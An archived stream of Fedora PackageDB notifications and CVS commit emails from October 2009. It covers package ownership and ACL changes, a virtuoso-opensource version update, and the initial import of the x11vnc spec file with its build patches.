From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:29:14 +0000
Subject: [pkgdb] func ownership updated
Message-ID: <20091020142914.46B0310F8B9@bastion2.fedora.phx.redhat.com>

Package func in Fedora EPEL 5 is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/func



From pkgdb at fedoraproject.org  Tue Oct 20 14:29:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:29:16 +0000
Subject: [pkgdb] func ownership updated
Message-ID: <20091020142916.D16B910F87F@bastion2.fedora.phx.redhat.com>

Package func in Fedora 10 is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/func



From pkgdb at fedoraproject.org  Tue Oct 20 14:29:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:29:17 +0000
Subject: [pkgdb] func ownership updated
Message-ID: <20091020142917.8837F10F8BE@bastion2.fedora.phx.redhat.com>

Package func in Fedora 11 is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/func



From rdieter at fedoraproject.org  Tue Oct 20 14:29:17 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 14:29:17 +0000 (UTC)
Subject: rpms/virtuoso-opensource/F-12 .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 virtuoso-opensource.spec, 1.3, 1.4
Message-ID: <20091020142917.6F73311C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/virtuoso-opensource/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19844

Modified Files:
	.cvsignore sources virtuoso-opensource.spec 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 5.0.12-1
- virtuoso-opensource-5.0.12



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	26 Jul 2009 20:40:58 -0000	1.2
+++ .cvsignore	20 Oct 2009 14:29:17 -0000	1.3
@@ -1 +1 @@
-virtuoso-opensource-5.0.11.tar.gz
+virtuoso-opensource-5.0.12.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	26 Jul 2009 20:40:58 -0000	1.2
+++ sources	20 Oct 2009 14:29:17 -0000	1.3
@@ -1 +1 @@
-9d5507b2a8d244c62f32f1203f10b9d1  virtuoso-opensource-5.0.11.tar.gz
+64949660e3f053ec43d00519a19751aa  virtuoso-opensource-5.0.12.tar.gz


Index: virtuoso-opensource.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/F-12/virtuoso-opensource.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- virtuoso-opensource.spec	26 Aug 2009 14:06:35 -0000	1.3
+++ virtuoso-opensource.spec	20 Oct 2009 14:29:17 -0000	1.4
@@ -1,16 +1,24 @@
+
 Name:	 virtuoso-opensource
-Version: 5.0.11
-Release: 4%{?dist}
+Version: 5.0.12
+Release: 1%{?dist}
 Summary: A high-performance object-relational SQL database
 
 Group:   Applications/Databases
 # see LICENSE for exception details
 License: GPLv2 with exceptions
 URL:	 http://virtuoso.sourceforge.net/
-Source0: http://download.sourceforge.net/virtuoso/virtuoso-opensource-%{version}.tar.gz
+Source0: http://downloads.sourceforge.net/virtuoso/virtuoso-opensource-%{version}.tar.gz
+#Source0: ftp://download.openlinksw.com/support/vos/virtuoso-opensource-%{snap}.tar.gz
 Patch1:  virtuoso-opensource-5.0.11-openssl.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
+## Upstreamable patches
+# fix build with ossl-1.0
+Patch50: virtuoso-opensource-5.0.11-openssl.patch
+# fix build --with-external-zlib
+Patch51: virtuoso-opensource-5.0.12-zlib.patch
+
 BuildRequires: automake libtool
 BuildRequires: bison
 BuildRequires: flex
@@ -20,7 +28,9 @@ BuildRequires: htmldoc
 #BuildRequires: java-devel
 BuildRequires: openldap-devel
 BuildRequires: openssl-devel
+BuildRequires: libiodbc-devel
 BuildRequires: libxml2-devel
+BuildRequires: zlib-devel
 
 Provides: virtuoso = %{version}-%{release}
 
@@ -66,8 +76,10 @@ Requires: %{name} = %{version}-%{release
 
 
 %prep
-%setup -q -n virtuoso-opensource-%{version}
-%patch1 -p1 -b .openssl
+%setup -q -n virtuoso-opensource%{!?snap:-%{version}}%{?snap:-%{snap}}
+
+%patch50 -p1 -b .openssl
+%patch51 -p1 -b .zlib
 
 
 %build
@@ -75,7 +87,11 @@ Requires: %{name} = %{version}-%{release
 %configure \
   --with-layout=redhat \
   --enable-shared --disable-static \
-  --with-debug
+  --without-internal-zlib \
+  --with-debug \
+  --enable-iodbc \
+  --enable-openssl \
+  --enable-xml
 
 # smp busted
 make 
@@ -141,6 +157,12 @@ rm -rf %{buildroot} 
 
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 5.0.12-1
+- virtuoso-opensource-5.0.12
+
+* Sun Oct 11 2009 Rex Dieter <rdieter at fedoraproject.rog> 5.0.12-0.1.rc9.20090916
+- virtuoso-opensource-20090916 (5.0.12-rc9)
+
 * Wed Aug 26 2009 Tomas Mraz <tmraz at redhat.com> - 5.0.11-4
 - rebuilt with new openssl
 



From pkgdb at fedoraproject.org  Tue Oct 20 14:29:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:29:19 +0000
Subject: [pkgdb] func ownership updated
Message-ID: <20091020142919.F1CFB10F895@bastion2.fedora.phx.redhat.com>

Package func in Fedora 12 is now owned by alikins

To make changes to this package see:
  /pkgdb/packages/name/func



From pkgdb at fedoraproject.org  Tue Oct 20 14:31:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:31:35 +0000
Subject: [pkgdb] cobbler: jeckersb has requested commit
Message-ID: <20091020143135.9FAF010F87F@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:31:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:31:35 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchbugzilla
Message-ID: <20091020143135.9FAAD10F86E@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:31:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:31:36 +0000
Subject: [pkgdb] cobbler: jeckersb has requested approveacls
Message-ID: <20091020143136.CA12210F892@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:31:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:31:41 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchcommits
Message-ID: <20091020143141.AAA8510F894@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:31:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:31:50 +0000
Subject: [pkgdb] perl-Mail-IMAPClient had acl change status
Message-ID: <20091020143151.3DE4C10F86E@bastion2.fedora.phx.redhat.com>

spot has set the watchbugzilla acl on perl-Mail-IMAPClient (Fedora devel) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From hubbitus at fedoraproject.org  Tue Oct 20 14:31:49 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Tue, 20 Oct 2009 14:31:49 +0000 (UTC)
Subject: rpms/x11vnc/F-11 import.log, NONE,
	1.1 x11vnc-0.9.8-XShm-explicit-include.patch, NONE,
	1.1 x11vnc-0.9.8-disableRpath.patch, NONE, 1.1 x11vnc.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091020143149.C8A6611C0081@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/x11vnc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20415/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log x11vnc-0.9.8-XShm-explicit-include.patch 
	x11vnc-0.9.8-disableRpath.patch x11vnc.spec 
Log Message:
Initial import x11vnc into Fedora




--- NEW FILE import.log ---
x11vnc-0_9_8-14_fc11:F-11:x11vnc-0.9.8-14.fc11.src.rpm:1256048983

x11vnc-0.9.8-XShm-explicit-include.patch:
 cleanup.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE x11vnc-0.9.8-XShm-explicit-include.patch ---
--- x11vnc/cleanup.c.orig	2009-06-14 19:29:17.000000000 +0400
+++ x11vnc/cleanup.c	2009-08-07 02:44:14.000000000 +0400
@@ -50,6 +50,7 @@
 #include "screen.h"
 #include "xrecord.h"
 #include "xevents.h"
+#include <X11/extensions/shmproto.h> // For X_ShmAttach in Fedora 12
 
 /*
  * Exiting and error handling routines

x11vnc-0.9.8-disableRpath.patch:
 configure |   33 +++++++++++++--------------------
 1 file changed, 13 insertions(+), 20 deletions(-)

--- NEW FILE x11vnc-0.9.8-disableRpath.patch ---
--- configure.orig	2009-06-19 18:44:21.000000000 +0400
+++ configure	2009-07-29 16:01:13.000000000 +0400
@@ -4183,7 +4183,7 @@
     "SunOS 5"*)
       echo "$as_me:$LINENO: checking whether -R must be followed by a space" >&5
 echo $ECHO_N "checking whether -R must be followed by a space... $ECHO_C" >&6
-      ac_xsave_LIBS=$LIBS; LIBS="$LIBS -R$x_libraries"
+      ac_xsave_LIBS=$LIBS; LIBS="$LIBS"
       cat >conftest.$ac_ext <<_ACEOF
 /* confdefs.h.  */
 _ACEOF
@@ -4233,9 +4233,9 @@
       if test $ac_R_nospace = yes; then
 	echo "$as_me:$LINENO: result: no" >&5
 echo "${ECHO_T}no" >&6
-	X_LIBS="$X_LIBS -R$x_libraries"
+	X_LIBS="$X_LIBS"
       else
-	LIBS="$ac_xsave_LIBS -R $x_libraries"
+	LIBS="$ac_xsave_LIBS"
 	cat >conftest.$ac_ext <<_ACEOF
 /* confdefs.h.  */
 _ACEOF
@@ -4285,7 +4285,7 @@
 	if test $ac_R_space = yes; then
 	  echo "$as_me:$LINENO: result: yes" >&5
 echo "${ECHO_T}yes" >&6
-	  X_LIBS="$X_LIBS -R $x_libraries"
+	  X_LIBS="$X_LIBS"
 	else
 	  echo "$as_me:$LINENO: result: neither works" >&5
 echo "${ECHO_T}neither works" >&6
@@ -6705,7 +6705,7 @@
 		if test ! -z "$HAVE_LIBXFIXES" -o ! -z "$HAVE_LIBXDAMAGE"; then
 			# need /usr/sfw/lib in RPATH for Solaris 10 and later
 			case `(uname -sr) 2>/dev/null` in
-			"SunOS 5"*) X_EXTRA_LIBS="$X_EXTRA_LIBS -R/usr/sfw/lib" ;;
+			"SunOS 5"*) X_EXTRA_LIBS="$X_EXTRA_LIBS" ;;
 			esac
 		fi
 		if test ! -z "$HAVE_LIBXRANDR"; then
@@ -7026,9 +7026,9 @@
 		if test "x$ld_minus_R" = "xno"; then
 			:
 		elif test "x$GCC" = "xyes"; then
-			LDFLAGS="$LDFLAGS -Xlinker -R$with_ssl/lib"
+			LDFLAGS="$LDFLAGS -Xlinker"
 		else
-			LDFLAGS="$LDFLAGS -R$with_ssl/lib"
+			LDFLAGS="$LDFLAGS"
 		fi
 	fi
 	echo "$as_me:$LINENO: checking for RAND_file_name in -lcrypto" >&5
@@ -7910,13 +7910,6 @@
 	fi
 	if test "x$with_system_libvncserver" != "xyes"; then
 		rflag=""
-		if test "x$ld_minus_R" = "xno"; then
-			:
-		elif test "x$GCC" = "xyes"; then
-			rflag="-Xlinker -R$with_system_libvncserver/lib"
-		else
-			rflag="-R$with_system_libvncserver/lib"
-		fi
 		cmd="$with_system_libvncserver/bin/libvncserver-config"
 		if $cmd --version 1>/dev/null 2>&1; then
 			cvers=`$cmd --version 2>/dev/null`
@@ -7958,9 +7951,9 @@
 		if test "x$ld_minus_R" = "xno"; then
 			:
 		elif test "x$GCC" = "xyes"; then
-			rflag=" -Xlinker -R$rprefix/lib "
+			rflag=" -Xlinker "
 		else
-			rflag=" -R$rprefix/lib "
+			rflag=" "
 		fi
 		cvers=`libvncserver-config --version 2>/dev/null`
 		cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
@@ -8039,9 +8032,9 @@
 			:
 		elif test "x$GCC" = "xyes"; then
 			# this is not complete... in general a rat's nest.
-			LDFLAGS="$LDFLAGS -Xlinker -R$with_jpeg/lib"
+			LDFLAGS="$LDFLAGS -Xlinker"
 		else
-			LDFLAGS="$LDFLAGS -R$with_jpeg/lib"
+			LDFLAGS="$LDFLAGS"
 		fi
 	fi
 	if test "${ac_cv_header_jpeglib_h+set}" = set; then
@@ -8320,9 +8313,9 @@
 		if test "x$ld_minus_R" = "xno"; then
 			:
 		elif test "x$GCC" = "xyes"; then
-			LDFLAGS="$LDFLAGS -Xlinker -R$with_zlib/lib"
+			LDFLAGS="$LDFLAGS -Xlinker"
 		else
-			LDFLAGS="$LDFLAGS -R$with_zlib/lib"
+			LDFLAGS="$LDFLAGS"
 		fi
 	fi
 	if test "${ac_cv_header_zlib_h+set}" = set; then


--- NEW FILE x11vnc.spec ---
Summary:		VNC server for the current X11 session
Summary(ru):	VNC-?????? ??? ??????? ?????? X11
Name:		x11vnc
Version:		0.9.8
Release:		14%{?dist}
License:		GPLv2
Group:		User Interface/X
URL:			http://www.karlrunge.com/x11vnc/
Source0:		http://downloads.sourceforge.net/libvncserver/%{name}-%{version}.tar.gz

BuildRequires:	libjpeg-devel, zlib-devel, openssl-devel
BuildRequires:	xorg-x11-proto-devel, libXext-devel, libXtst-devel
BuildRequires:	libXfixes-devel, libvncserver-devel

BuildRequires:	java-1.6.0-openjdk-devel

# In Fedora 12 /usr/include/X11/extensions/XInput.h in libXi-devel but in
# previous versions in xorg-x11-proto-devel /usr/include/X11/extensions/shmproto.h
# placed in libXext-devel in F12 and in xorg-x11-proto-devel early.
%if 0%{?fedora} > 11
BuildRequires:	libXi-devel libXext-devel
%else
BuildRequires:	xorg-x11-proto-devel
%endif
Requires:		Xvfb

# Fedora don't want hardcoded rpaths.
Patch1:		x11vnc-0.9.8-disableRpath.patch
# According to new paths add new include to build. I think it is Fedora-related.
Patch2:		x11vnc-0.9.8-XShm-explicit-include.patch

# Package intended to EL-5 too, so we still need define BuildRoot
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%description
What WinVNC is to Windows x11vnc is to X Window System, i.e. a server
which serves the current X Window System desktop via RFB (VNC)
protocol to the user.

Based on the ideas of x0rfbserver and on LibVNCServer it has evolved into a
versatile and productive while still easy to use program.

%description -l ru
??? ??????? VNC-??????? ??? Windows - VNC-??????, ??????? ???????????-
?? ?????? ? ??????? X-?????? ???????????? ?? ????????? (VNC).
????? ???????, ?? ?????? ?????? ????????? ? ?????? ????????, ???? ????
?????? ???? ?????????? ???????? ????????. ????? ????, ?????? ? ?????-
????????? ????? ????? ???? ???????????? (GDM, KDM, XDM etc)

?????????? ?? ???? x0rfbserver ? LibVNCServer x11vnc ???????????????
? ?????? ? ???????????????? ??????????, ???????, ??????, ????????
?????? ? ?????????????.

%package		javaviewers
Version:		%{version}
Summary:		VNC clients (browser java applets)
Summary(ru):	VNC-??????? ? ???? java-??????? ??? ?????????
Requires:		%{name} = %{version}-%{release}
License:		GPLv2+
Group:		User Interface/X
BuildArch:	noarch
BuildRequires:	java-devel >= 1:1.6.0
BuildRequires:	jpackage-utils


%description	javaviewers
The package contains the corresponding java clients for %{name}. They
can be used with any java-enabled browser and provide an easy access to
the server without the need to install software on the client machine.

%description -l ru	javaviewers
Java-??????? ??? ????????????? ????????? ? %{name} ????? ?? ????????
??? ????????????? ??????? ????? ?? ?? ?? ???? ????.

?????? ?? ???? ???????? ? ????? ??????????? ?????????, ??? ????
????????? Java

%prep
%setup -q
%patch1 -p0 -b .rpath

%if 0%{?fedora} > 11
%patch2 -p0 -b .XShm
%endif

# fix source perms for the -debuginfo package rpmlint warnings
find -name "*.c" -o -name "*.h" -exec %{__chmod} 0644 {} \;

for file in README AUTHORS; do
	# ISO-8859-1 is my assumption.
	iconv -f ISO-8859-1 -t UTF-8 "$file" > "$file.new"
	touch --reference "$file" "$file.new"
	%{__mv} "$file.new" "$file"
done

# Delete prebuilt binaries
find -name '*.jar' -exec rm {} \;

%build
%configure --with-system-libvncserver --without-tightvnc-filetransfer

# First rebuild jars, what have been removed in %%prep.
pushd classes/ssl/src
%{__make} %{?_smp_mflags}
	# Alternative to patch Makefiles.
	for jarfile in *.jar; do
	%{__ln_s} src/$jarfile ../;
	%{__ln_s} ssl/src/$jarfile ../../;
	done
popd

%{__make} %{?_smp_mflags}

%install
%{__rm} -rf %{buildroot}
%{__make} install DESTDIR="%{buildroot}"

# And Java viewers
pushd classes/ssl
%{__make} install DESTDIR="%{buildroot}"
popd

# Rename README file to avoid name bump
%{__mv} classes/ssl/src/tight/README classes/ssl/src/tight/README.tight
%{__mv} classes/ssl/src/ultra/README classes/ssl/src/ultra/README.ultra

%clean
%{__rm} -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING NEWS README TODO
%{_mandir}/man1/x11vnc.1*
%{_bindir}/x11vnc
%{_datadir}/applications/x11vnc.desktop

%files javaviewers
%defattr(-,root,root,-)
%doc classes/ssl/README classes/ssl/src/tight/README.tight classes/ssl/src/ultra/README.ultra
%{_datadir}/%{name}
%exclude %{_datadir}/%{name}/classes/ssl/README

%changelog
* Tue Oct 6 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-14
- Make -javaviewers subpackage noarch.

* Sun Oct 4 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-13
- Small fis requires release.
- Rename README file to avoid name bump

* Fri Sep 25 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-12
- Own %%{_datadir}/%%{name} instead of %%{_datadir}/%%{name}/classes
- Add Requires: %%{name} = %%{version}-%%{release} in subpackage.
- Change summary and description for javaviewers subpackage.
- Remove %%doc marker from man-page.
- %%defattr(-,root,root,0755) -> %%defattr(-,root,root,-)
- Add classes/ssl/src/tight/README classes/ssl/src/ultra/README files into
	javaviewers subpackage %%doc (thank you Orcan Ogetbil)
- ln -s replaced by %%{__ln_s}
- Set License: GPLv2+ for javaviewers subpackage (Thanks Spot)

* Mon Aug 31 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-11
- Remove all prebuilt *.jar-files in %%prep section and try build it from source.
- Add BR java-1.6.0-openjdk-devel
- Introduce new subpackage x11vnc-javaviewers.
- Add separate build java-viewers.
- Add Russian localized versions of Summary and descrioptions.

* Wed Aug 26 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-10
- Fix some spelling, change some cosmetic things.
- Delete Patch0 and hacks to link with system lzo package - it is not needed
	anymore as we link it with systel libvncserver instead.
- Delete BR lzo-devel
- Remiove empty directory %%{_datadir}/%%{name}/

* Sun Aug 9 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-9
- Add Requires: Xvfb

* Fri Aug 7 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-8
- Link to shared lzo instead of minilzo for all (not only EL-5).
- Add BuildRequires: /usr/include/X11/extensions/XShm.h
- Patch2: x11vnc-0.9.8-XShm-explicit-include.patch
- Step to conditional BR for Fedora 12, add
	Patch2: x11vnc-0.9.8-XShm-explicit-include.patch to build on it.

* Tue Aug 4 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-7
- Change license to GPLv2 without plus according to x11vnc.c
	source (thanks to Christian Krause).
- For consistency macros usage replace "ln -s" by %%{__ln_s},
	mv by %%{__mv} and similar (chmod, sed).
- Change find call to avoid using xargs in chmod sources command.

* Wed Jul 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-6
- Build with openssl unconditionally.
- Add Patch1: x11vnc-0.9.8-disableRpath.patch
- fix source perms for the -debuginfo package rpmlint warnings

* Tue Jul 21 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-5
- Try use lzo instead of minilzo in EL-5 (minilzo is not bundled in it).
- Try use system libvncserver library (--with-system-libvncserver
	configure option) instead of bundled one.
- System libvncserver built without tightvnc-filetransfer support.
	Now disable it there (--without-filetransfer)
	And according to it change License to only GPLv2+
	./configure --help misleading, using --without-tightvnc-filetransfer

* Tue Jul 21 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-4
- All changes inspired by started Fedora Review (thank you to Christian Krause).
- README and AUTHORS files converted into UTF-8.
- Explicit mention previous author in changelog and delet old entries of it.
- Source renamed to Source0.
- Source0 URL changed to long (correct) variant:
	http://downloads.sourceforge.net/libvncserver/%%{name}-%%{version}.tar.gz
	was http://dl.sf.net/libvncserver/x11vnc-%%{version}.tar.gz
- Add BR: /usr/include/X11/extensions/XInput.h; In F12 it is located in
	libXi-devel but in previous versions in xorg-x11-proto-devel
	so, to do not make conditional requires, require explicit file.
- Remove prebuild binaries clients.
- Remove Requires: minilzo it will be automatically propogated.
- Add BR: libvncserver-devel

* Fri Jul 10 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-3
- Add BR openssl-devel to provide SSL capability (thanks Manuel Wolfshant).
- Requires: minilzo, BR lzo-devel and Patch0: 
	11vnc-0.9.8-use-system-minilzo.patch to use system version of library.
- Add "and GPLv2" to License. See comment above why.
- Add BuildRequires: libXfixes-devel

* Fri Jul 10 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-2
- Import http://packages.sw.be/x11vnc/x11vnc-0.9.7-1.rf.src.rpm to maintain it in fedora:
	Packager: Dag Wieers <dag at wieers.com>
	Vendor: Dag Apt Repository, http://dag.wieers.com/apt/
- Step to version 0.9.8
- Reformat spec with tabs.
- Comment out (leave for history) Packager and Vendor tags
- Remove defines of several macros like dtag, conditional _without_modxorg
- Remove all stuff around conditional build _without_modxorg
- Add -%%(%%{__id_u} -n) part into buildroot.
- Make setup quiet.
- Remove "rf" Release suffix and replace it by %%{?dist}
- License from GPL changed to GPLv2+


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/x11vnc/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:53:55 -0000	1.1
+++ .cvsignore	20 Oct 2009 14:31:49 -0000	1.2
@@ -0,0 +1 @@
+x11vnc-0.9.8.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/x11vnc/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:53:55 -0000	1.1
+++ sources	20 Oct 2009 14:31:49 -0000	1.2
@@ -0,0 +1 @@
+13e41380fe9ba2581db180061d1cbd22  x11vnc-0.9.8.tar.gz



From pkgdb at fedoraproject.org  Tue Oct 20 14:31:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:31:51 +0000
Subject: [pkgdb] perl-Mail-IMAPClient had acl change status
Message-ID: <20091020143151.5EAEA10F88F@bastion2.fedora.phx.redhat.com>

spot has set the watchcommits acl on perl-Mail-IMAPClient (Fedora devel) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 14:31:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:31:57 +0000
Subject: [pkgdb] perl-Mail-IMAPClient had acl change status
Message-ID: <20091020143157.96B1710F8AB@bastion2.fedora.phx.redhat.com>

spot has set the watchbugzilla acl on perl-Mail-IMAPClient (Fedora EPEL 4) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 14:31:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:31:58 +0000
Subject: [pkgdb] perl-Mail-IMAPClient had acl change status
Message-ID: <20091020143158.C6FE910F87F@bastion2.fedora.phx.redhat.com>

spot has set the watchcommits acl on perl-Mail-IMAPClient (Fedora EPEL 4) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:01 +0000
Subject: [pkgdb] perl-Mail-IMAPClient had acl change status
Message-ID: <20091020143201.BFBA510F8B1@bastion2.fedora.phx.redhat.com>

spot has set the watchbugzilla acl on perl-Mail-IMAPClient (Fedora EPEL 5) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:02 +0000
Subject: [pkgdb] perl-Mail-IMAPClient had acl change status
Message-ID: <20091020143202.AA9C410F88F@bastion2.fedora.phx.redhat.com>

spot has set the watchcommits acl on perl-Mail-IMAPClient (Fedora EPEL 5) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:13 +0000
Subject: [pkgdb] perl-Mail-IMAPClient had acl change status
Message-ID: <20091020143213.5A2D910F85F@bastion2.fedora.phx.redhat.com>

spot has set the watchbugzilla acl on perl-Mail-IMAPClient (Fedora 10) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:14 +0000
Subject: [pkgdb] perl-Mail-IMAPClient had acl change status
Message-ID: <20091020143214.AA8A110F88F@bastion2.fedora.phx.redhat.com>

spot has set the watchcommits acl on perl-Mail-IMAPClient (Fedora 10) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:17 +0000
Subject: [pkgdb] perl-Mail-IMAPClient had acl change status
Message-ID: <20091020143217.D16F410F895@bastion2.fedora.phx.redhat.com>

spot has set the watchbugzilla acl on perl-Mail-IMAPClient (Fedora 11) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:18 +0000
Subject: [pkgdb] perl-Mail-IMAPClient had acl change status
Message-ID: <20091020143218.3E24310F8AC@bastion2.fedora.phx.redhat.com>

spot has set the watchcommits acl on perl-Mail-IMAPClient (Fedora 11) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:22 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchbugzilla
Message-ID: <20091020143222.C9CCA10F87F@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:23 +0000
Subject: [pkgdb] perl-Mail-IMAPClient had acl change status
Message-ID: <20091020143223.BDE0E10F8B3@bastion2.fedora.phx.redhat.com>

spot has set the watchbugzilla acl on perl-Mail-IMAPClient (Fedora 12) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:23 +0000
Subject: [pkgdb] perl-Mail-IMAPClient had acl change status
Message-ID: <20091020143223.EA4C810F8B6@bastion2.fedora.phx.redhat.com>

spot has set the watchcommits acl on perl-Mail-IMAPClient (Fedora 12) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:24 +0000
